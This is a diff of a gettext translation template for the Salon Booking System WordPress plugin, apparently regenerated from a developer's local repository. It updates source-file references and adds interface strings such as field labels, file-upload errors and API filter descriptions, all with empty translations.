build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236\n-msgid \"Export to CSV\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:147\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:147\n+msgid \"Feedback submitted\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:326\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:326\n+msgid \"Fidelity score\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200\n+msgid \"Field default value\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:173\n msgid \"Field name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:183, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178\n+msgid \"Field type\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:183\n msgid \"Field width\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:191, views\u002Fsettings\u002Ftab_checkout.php:200, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:200\n-msgid \"Field default value\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+msgid \"File\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195\n-msgid \"Select file type\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:52\n+msgid \"File not found\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:206, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206\n-msgid \"Add Field\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47\n+msgid \"File size exceeds maximum allowed size of 10MB.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:242, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242\n-msgid \"Enter the list of options in the value:label format (one per row)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23\n+msgid \"File upload error occurred.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:268, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268\n-msgid \"Check this box if you want to enable the Discount section\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:152\n+msgid \"Filename not found\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:281, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281\n-msgid \"Primary service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:297\n+msgid \"Fill out the form to complete the booking\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:285, views\u002Fsettings\u002Ftab_checkout.php:314, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:314\n-msgid \"No limits\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77\n+msgid \"fill the fields and update settings\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:304, views\u002Fsettings\u002Ftab_checkout.php:333, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333\n-msgid \"Set this option if you want to limit the number of services bookable during a single reservation.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:160\n+msgid \"fill this field\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:310, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310\n-msgid \"Secondary services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:592\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:592\n+msgid \"Filter\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:340, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:340\n-msgid \"Make service selection required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:195\n+msgid \"Filter by assistant IDs.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:356, views\u002Fsettings\u002Ftab_checkout.php:394, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394\n-msgid \"Use this field to provide your customers important infos about terms and conditions of their reservation.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:200\n+msgid \"Filter by booking statuses.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:358, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358\n-msgid \"Will be displayed on checkout page before booking completition.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:190\n+msgid \"Filter by service IDs.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:362, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362\n-msgid \"e.g. In case of delay we will take your seat for 15 minutes, then your booking priority will be lost\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_salon_info.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_salon_info.php:45\n+msgid \"Find us on\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:388, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:388\n-msgid \"Last step note\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31\n+msgid \"First Name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:396, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396\n-msgid \"Will be displayed on thankyou page. You can use [SALON PHONE], [SALON EMAIL]\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 